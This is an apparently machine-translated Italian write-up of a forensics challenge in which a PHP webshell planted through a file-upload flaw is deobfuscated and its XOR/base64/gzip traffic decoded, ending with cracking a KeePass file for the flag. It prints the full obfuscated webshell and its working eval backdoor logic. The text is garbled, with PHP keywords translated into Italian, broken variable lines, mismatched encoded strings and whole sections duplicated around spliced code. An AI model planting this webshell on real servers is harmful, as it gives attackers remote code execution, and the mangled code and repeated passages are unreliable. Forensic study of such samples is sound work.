Abbiamo coperto uno scenario di risposta a un incidente che prevedeva l'uso di competenze forensi per indagare su un server web violato sfruttando una vulnerabilità nel caricamento di file. Ci è stata fornita la webshell utilizzata dall'aggressore insieme a un file di dump dei pacchetti che includeva i pacchetti scambiati tra l'aggressore e il server web mentre stavano eseguendo dei comandi.
Abbiamo decodificato lo script utilizzando base64, crittografia XOR e compressione Gzip per scoprire i comandi eseguiti dall'aggressore insieme all'output ricevuto.
Abbiamo scoperto che l'aggressore ha scaricato un file Keepass codificato con base64, quindi abbiamo utilizzato keepass2john per estrarre l'hash e john the ripper per trovare la password del database delle password che conteneva il flag.
Ottieni appunti di informatica forense
Il corso pratico completo sul Penetration Testing delle applicazioni Web
Descrizione della sfida
Un utente malintenzionato ha trovato una vulnerabilità nel nostro server web che consente il caricamento arbitrario di file PHP nel nostro server Apache. In questo modo, l'hacker ha caricato quella che sembra essere una shell offuscata (support.php). Monitoriamo la nostra rete 24 ore su 24, 7 giorni su 7 e generiamo log da tcpdump (abbiamo fornito il file di log per un periodo di due minuti prima di terminare il servizio HTTP per indagini), tuttavia, abbiamo bisogno del tuo aiuto per analizzare e identificare i comandi che l'aggressore ha scritto per comprendere cosa è stato compromesso.
Video in evidenza
Lo script webshell php offuscato è riportato di seguito
<?php$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u );funzione u)x(
Dopo il deoffuscamento diventa
$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
funzione x($t,$k){
$c=strlen($k);
$l=strlen($t);
1TP4A="";
per($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
restituire $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_inizio();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
Possiamo seguire il processo inverso di cui sopra per decodificare l'output ricevuto dall'attaccante (mostrato nel wireshark)
@gzuncompress(@x(@base64_decode($encoded),$k));
Ad esempio, l'output seguente si osserva nel primo pacchetto Wireshark
0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPumHTy351039f4a7b5
Se togliamo da esso $p, $kh e $kf, possiamo ritrovarci con $r
QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNPUmHTy
Quanto sopra corrisponde all'output seguente (l'output del comando id)
uid=33(www-dati) gid=33(www-dati) groups=33(www-dati)
Videoprocedura dettagliata
https://www.youtube.com/watch?v=VSgdzLoCWl0
;$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match(" /$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i <$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k)) ;pru)u)int(u)"$p$kh$r$kf");}';$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@ bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';$u=str_replace('u)','',$V.$d.$P.$c.$B);$x=$N('',$u);$x();?>
Dopo il deoffuscamento diventa
$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
funzione x($t,$k){
$c=strlen($k);
$l=strlen($t);
1TP4A="";
per($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
restituire $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_inizio();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
Possiamo seguire il processo inverso di cui sopra per decodificare l'output ricevuto dall'attaccante (mostrato nel wireshark)
@gzuncompress(@x(@base64_decode($encoded),$k));
Ad esempio, l'output seguente si osserva nel primo pacchetto Wireshark
0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPumHTy351039f4a7b5
Se togliamo da esso $p, $kh e $kf, possiamo ritrovarci con $r
QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNPUmHTy
Quanto sopra corrisponde all'output seguente (l'output del comando id)
Videoprocedura dettagliata